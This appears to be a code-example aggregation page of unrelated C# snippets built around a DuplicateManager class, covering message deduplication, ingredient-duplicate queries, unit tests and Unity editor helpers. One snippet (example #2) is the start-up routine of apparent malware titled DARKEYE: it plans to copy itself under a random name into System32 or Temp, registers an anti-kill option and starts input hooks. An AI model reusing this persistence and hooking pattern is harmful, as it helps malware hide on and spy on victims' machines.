コード例 #1
0
        public async override Task ReceiveAsync(WebSocket socket, WebSocketReceiveResult result, byte[] buffer)
        {
            var reader = new StreamReader(new MemoryStream(buffer), Encoding.Default);

            var msg = new JsonSerializer().Deserialize <GunMessage>(new JsonTextReader(reader));

            if (_duplicateManager.Check(msg.Key))
            {
                return;
            }

            _duplicateManager.Track(msg.Key);

            if (msg is PutMessage)
            {
                var change = _graph.Mix(((PutMessage)msg).PutChanges);
            }

            if (msg is GetMessage)
            {
                var ack = _graph.Get(((GetMessage)msg).Get);
                if (ack != null)
                {
                    var response = new PutMessage()
                    {
                        Key        = _duplicateManager.Track(DuplicateManager.Random()),
                        At         = msg.Key,
                        PutChanges = ack
                    };
                    await this.SendMessageToAllAsync(JsonConvert.SerializeObject(response));
                }
            }
            await this.SendMessageToAllAsync(JsonConvert.SerializeObject(msg));
        }
コード例 #2
0
        private static void Initialize(String[] args)
        {
            try
            {
                globalLog = new Log(null);
                globalLog.AddLog("Connected");

                Protection.Initialize();

                commandManager   = new CommandManager();
                duplicateManager = new DuplicateManager(Utils.Utils.IsAdmin ?
                                                        Utils.Utils.GetRandomFileNameFromDirectory("C:\\Windows\\System32") :
                                                        (Path.GetTempPath() + Utils.Utils.GetRandomString(6) + ".exe"));
                ownerManager  = new OwnerManager();
                dataManager   = new DataManager();
                windowManager = new WindowManager();
                lineManager   = new LineManager();
                hookManager   = new HookManager();

                commandManager.registerCommand("-duplicate");
                commandManager.registerCommand("-antikill");
                commandManager.registerCommand("-debug");
                ownerManager.registerOwner(dataManager.ownerData);

                commandManager.Init(args);
                duplicateManager.Init();
                windowManager.Init();

                Streams.Initialize();

                globalLog.DispathContent();
                hookManager.Init();
            }
            catch (Exception ex) { WriteUtils.writeError(DARKEYE_TITLE + ": " + ex.Message); }
        }
コード例 #3
0
        public DuplicateManager GetXmlIngredientDuplicates()
        {
            DuplicateManager manager = new DuplicateManager();
            var dups = GetDataBase().Fetch <XmlImportIngredient>(
                " SELECT ItemIngredientName, Calories, Quantity, COUNT(ItemIngredientName) AS NumOccurrences FROM XmlImportIngredients GROUP BY ItemIngredientName, Calories, Quantity HAVING ( COUNT(ItemIngredientName) > 1 ) order by itemingredientname");

            foreach (var xmlImportIngredient in dups)
            {
                var items = GetXmlIngredientsByName(xmlImportIngredient.ItemIngredientName, xmlImportIngredient.Calories);
                List <IngredientAggregate> ingredients = new List <IngredientAggregate>();
                foreach (var importIngredient in items)
                {
                    var xref = GetIngredientCrossReference(importIngredient.ItemIngredientGuid);
                    if (xref != null && xref.ingredientsguid != null)
                    {
                        var ingdredient = GetMatchedIngredient(xref.ingredientsguid.ToString(), true);
                        if (ingdredient != null)
                        {
                            ingredients.Add(ingdredient);
                        }
                    }
                }
                var dup = new Duplicate();
                dup.Name         = xmlImportIngredient.ItemIngredientName;
                dup.DisplayName  = xmlImportIngredient.ItemIngredientName + " with " + xmlImportIngredient.Calories + " calories";
                dup.NumberOfDups = items.Count;
                manager.Duplicates.Add(dup, ingredients);
            }
            return(manager);
        }
コード例 #4
0
        public void ShouldCheckFalseWithNotExist()
        {
            var dup = new DuplicateManager(Options.Create <DuplicateManagerOptions>(new DuplicateManagerOptions()));
            var key = DuplicateManager.Random();
            var res = dup.Check(key);

            Assert.False(false);
        }
コード例 #5
0
        public void ShouldTrack()
        {
            var dup = new DuplicateManager(Options.Create <DuplicateManagerOptions>(new DuplicateManagerOptions()));
            var key = DuplicateManager.Random();
            var res = dup.Track(key);

            Assert.Equal(key, res);
        }
コード例 #6
0
        public void ShouldCheckTrueWithDuplicate()
        {
            var dup  = new DuplicateManager(Options.Create <DuplicateManagerOptions>(new DuplicateManagerOptions()));
            var key  = DuplicateManager.Random();
            var res  = dup.Check(key);
            var res2 = dup.Track(key);
            var res3 = dup.Check(key);

            Assert.False(res);
            Assert.True(res3);
        }
コード例 #7
0
        public async void ShouldCheckFalseAfterTimeout()
        {
            var dup  = new DuplicateManager(Options.Create <DuplicateManagerOptions>(new DuplicateManagerOptions()));
            var key  = DuplicateManager.Random();
            var res  = dup.Check(key);
            var res2 = dup.Track(key);
            await Task.Delay(1000 * 10);

            var res3 = dup.Check(key);

            Assert.False(res);
            Assert.False(res3);
        }
コード例 #8
0
    public static void DuplicateInGrid(GameObject userSelectedGameObject)
    {
        Undo.RegisterSceneUndo("Duplicate In Grid");
        Vector3 gridVector = AlignEditor.gridSize;
        // Get the active object
        GameObject originalGO = null;

        // If we find a prefab, duplicate with prefab link, otherwise duplicate object only
        if (PrefabUtility.GetPrefabType(userSelectedGameObject) != PrefabType.None)
        {
            originalGO = PrefabUtility.GetPrefabParent(userSelectedGameObject) as GameObject;
        }

        DuplicateManager.DuplicateInGrid(originalGO, userSelectedGameObject, gridVector, AlignEditor.gridOffset, AlignEditor.PreferredBounds);
    }
コード例 #9
0
        public DuplicateManager GetDuplicates()
        {
            DuplicateManager manager = new DuplicateManager();
            var dups = GetDataBase().Fetch <DuplicateIngredients>(" SELECT ItemIngredientName, Calories, Quantity, COUNT(ItemIngredientName) AS NumOccurrences FROM XmlImportIngredients GROUP BY ItemIngredientName, Calories, Quantity HAVING ( COUNT(ItemIngredientName) > 1 ) order by itemingredientname");

            foreach (var xmlImportIngredient in dups)
            {
                //this get all of the ingredient ids where there is an xref and there is a name and calories match
                List <IngredientAggregate> ingredients = new List <IngredientAggregate>();
                var candidates = GetDuplicateIngredientIds(xmlImportIngredient.Calories, xmlImportIngredient.ItemIngredientName, xmlImportIngredient.Quantity);

                if (candidates.Count < xmlImportIngredient.NumOccurrences)   //means there is a null and needs update
                {
                    List <string> added = new List <string>();
                    foreach (var ingredientcandidate in candidates)
                    {
                        if (!added.Contains(ingredientcandidate.DataObjectId.ToString()))
                        {
                            var ingdredient = GetMatchedIngredient(ingredientcandidate.DataObjectId.ToString(), true);
                            if (ingdredient != null)
                            {
                                added.Add(ingredientcandidate.DataObjectId.ToString());
                                ingredients.Add(ingdredient);
                            }
                        }
                    }
                }

                if (ingredients.Count > 0 || candidates.Count == 0)
                {
                    var dup = new Duplicate();
                    dup.Name         = xmlImportIngredient.ItemIngredientName;
                    dup.Calories     = xmlImportIngredient.Calories;
                    dup.Quantity     = xmlImportIngredient.Quantity;
                    dup.DisplayName  = xmlImportIngredient.ItemIngredientName + " with " + xmlImportIngredient.Calories + " calories";
                    dup.NumberOfDups = xmlImportIngredient.NumOccurrences;
                    manager.Duplicates.Add(dup, ingredients);
                }
            }
            return(manager);
        }
コード例 #10
0
        public DuplicateManager GetDuplicates()
        {
            DuplicateManager manager = new DuplicateManager();
            var dups = GetDataBase().Fetch<DuplicateIngredients>( " SELECT ItemIngredientName, Calories, Quantity, COUNT(ItemIngredientName) AS NumOccurrences FROM XmlImportIngredients GROUP BY ItemIngredientName, Calories, Quantity HAVING ( COUNT(ItemIngredientName) > 1 ) order by itemingredientname");
            foreach (var xmlImportIngredient in dups)
            {
                //this get all of the ingredient ids where there is an xref and there is a name and calories match
                List<IngredientAggregate> ingredients = new List<IngredientAggregate>();
                var candidates = GetDuplicateIngredientIds(xmlImportIngredient.Calories,  xmlImportIngredient.ItemIngredientName, xmlImportIngredient.Quantity);

                if ( candidates.Count < xmlImportIngredient.NumOccurrences ) //means there is a null and needs update
                {
                    List<string> added = new List<string>();
                    foreach (var ingredientcandidate in candidates)
                    {
                        if ( ! added.Contains(ingredientcandidate.DataObjectId.ToString()))
                        {
                            var ingdredient = GetMatchedIngredient(ingredientcandidate.DataObjectId.ToString(), true);
                            if (ingdredient != null)
                            {
                                added.Add(ingredientcandidate.DataObjectId.ToString());
                                ingredients.Add(ingdredient);
                            }
                        }
                    }
                }

                if ( ingredients.Count > 0 || candidates.Count == 0)
                {
                    var dup = new Duplicate();
                    dup.Name = xmlImportIngredient.ItemIngredientName;
                    dup.Calories = xmlImportIngredient.Calories;
                    dup.Quantity = xmlImportIngredient.Quantity;
                    dup.DisplayName = xmlImportIngredient.ItemIngredientName + " with " + xmlImportIngredient.Calories + " calories";
                    dup.NumberOfDups = xmlImportIngredient.NumOccurrences;
                    manager.Duplicates.Add(dup, ingredients);
                }
            }
            return manager;
        }
コード例 #11
0
        public void ShouldRandom()
        {
            var res = DuplicateManager.Random();

            Assert.Equal(3, res.Length);
        }
コード例 #12
0
        public DuplicateManager GetXmlIngredientDuplicates()
        {
            DuplicateManager manager = new DuplicateManager();
            var dups = GetDataBase().Fetch<XmlImportIngredient>(
                    " SELECT ItemIngredientName, Calories, Quantity, COUNT(ItemIngredientName) AS NumOccurrences FROM XmlImportIngredients GROUP BY ItemIngredientName, Calories, Quantity HAVING ( COUNT(ItemIngredientName) > 1 ) order by itemingredientname");
            foreach (var xmlImportIngredient in dups)
            {
                var items = GetXmlIngredientsByName(xmlImportIngredient.ItemIngredientName, xmlImportIngredient.Calories);
                List<IngredientAggregate> ingredients = new List<IngredientAggregate>();
                foreach (var importIngredient in items)
                {
                    var xref = GetIngredientCrossReference(importIngredient.ItemIngredientGuid);
                    if ( xref != null && xref.ingredientsguid != null)
                    {
                        var ingdredient = GetMatchedIngredient(xref.ingredientsguid.ToString(), true);
                        if ( ingdredient != null)
                            ingredients.Add(ingdredient);
                    }

                }
                var dup = new Duplicate();
                dup.Name = xmlImportIngredient.ItemIngredientName;
                dup.DisplayName = xmlImportIngredient.ItemIngredientName + " with " + xmlImportIngredient.Calories + " calories";
                dup.NumberOfDups = items.Count;
                manager.Duplicates.Add(dup, ingredients);
            }
            return manager;
        }
コード例 #13
0
        private static void Main()
        {
            Dedupper.OperationUpdate += OperationUpdateCallback;
            Dedupper.DuplicateFound  += DuplicateFoundCallback;
            Dedupper.Logged          += LoggedCallback;

            DuplicateManager.FileLoadedProgress +=
                DuplicateFileLoadedProgressCallback;

            var config = LoadConfig();

            Dedupper.UpdateConfiguration(config);
            DuplicateManager.Settings = config;

            OperationInfo = new OperationInfo
            {
                ProgressStyle = ProgressStyle.Marquee,
                Message       = "Initializing...",
            };

            using (var serviceHost = new ServiceHost(
                       typeof(WcfService),
                       WcfBaseAddress))
                using (var cancelTokenSource = new CancellationTokenSource())
                {
                    serviceHost.Open();

                    var startTask = Task.Factory.StartNew(
                        () => DuplicateManager.LoadFromFile(cancelTokenSource.Token),
                        cancelTokenSource.Token)
                                    .ContinueWith(t =>
                    {
                        try
                        {
                            Dedupper.Start();
                        }
                        catch (InvalidOperationException exc)
                        {
                            OperationInfo = new OperationInfo
                            {
                                ProgressStyle = ProgressStyle.NoProgress,
                                Message       = exc.Message,
                            };
                            AddLogEntry(exc.Message);
                        }
                    }, TaskContinuationOptions.NotOnCanceled);

                    Console.WriteLine("Service running.  Please 'Enter' to exit...");
                    _ = Console.ReadLine();

                    cancelTokenSource.Cancel();
                    try
                    {
                        startTask.Wait();
                        Dedupper.Stop();
                    }
                    catch (AggregateException exc)
                    {
                        exc.Handle(x => x is OperationCanceledException);
                    }

                    serviceHost.Abort();
                    serviceHost.Close();
                }
        }
コード例 #14
0
        /// <summary>
        /// Get columns to perform duplicate check
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        /// <remarks>
        /// As coded columns should not be binary or similar type
        /// such as image, if so this will fail. Check types if unsure
        ///
        /// SELECT COLUMN_NAME, DATA_TYPE
        ///     FROM INFORMATION_SCHEMA.COLUMNS
        ///     WHERE TABLE_NAME = 'SomeTable'
        ///
        /// </remarks>
        private void cmdCheckForDuplicates_Click(object sender, EventArgs e)
        {
            if (SelectedTableColumnCheckedListBox.Items.Count == 0)
            {
                return;
            }

            var columns = SelectedTableColumnCheckedListBox.Items.OfType <SqlColumn>();
            // ReSharper disable once PossibleMultipleEnumeration
            var identityColumn = columns.FirstOrDefault(sqlColumn => sqlColumn.IsIdentity);

            var sqlColumns = SelectedTableColumnCheckedListBox.CheckedIColumnDetailsList();

            if (sqlColumns.Count > 0)
            {
                if (identityColumn != null)
                {
                    var evaluateContains = sqlColumns.Contains(identityColumn);
                    if (evaluateContains)
                    {
                        sqlColumns.Remove(identityColumn);
                    }
                }
            }

            var container = new DuplicateItemContainer()
            {
                Columns = sqlColumns,
                OrderBy = OrderByComboBox.SelectedIndex == 0 ? "" : OrderByComboBox.Text
            };

            var manager = new DuplicateManager(container);

            // ReSharper disable once PossibleMultipleEnumeration
            var ops = new DataOperations(columns.First().Schema);
            var duplicatesDataTable = ops.Duplicates(manager.Statement);

            if (!ops.IsSuccessFul)
            {
                if (ops.HasException && !string.IsNullOrWhiteSpace(ops.LastExceptionMessage))
                {
                    MessageBox.Show($"Failure\n{ops.LastExceptionMessage}");
                }

                return;
            }

            if (duplicatesDataTable.Rows.Count == 0)
            {
                MessageBox.Show("There are no duplicates in the selected table");
                return;
            }

            if (identityColumn != null)
            {
                var f = new ResultsForm(
                    DatabaseTableNamesListBox.Text,
                    duplicatesDataTable,
                    identityColumn.ColumnName);

                try
                {
                    f.ShowDialog();
                }
                finally
                {
                    f.Dispose();
                }
            }
            else
            {
                MessageBox.Show("No identity column, can not continue");
            }
        }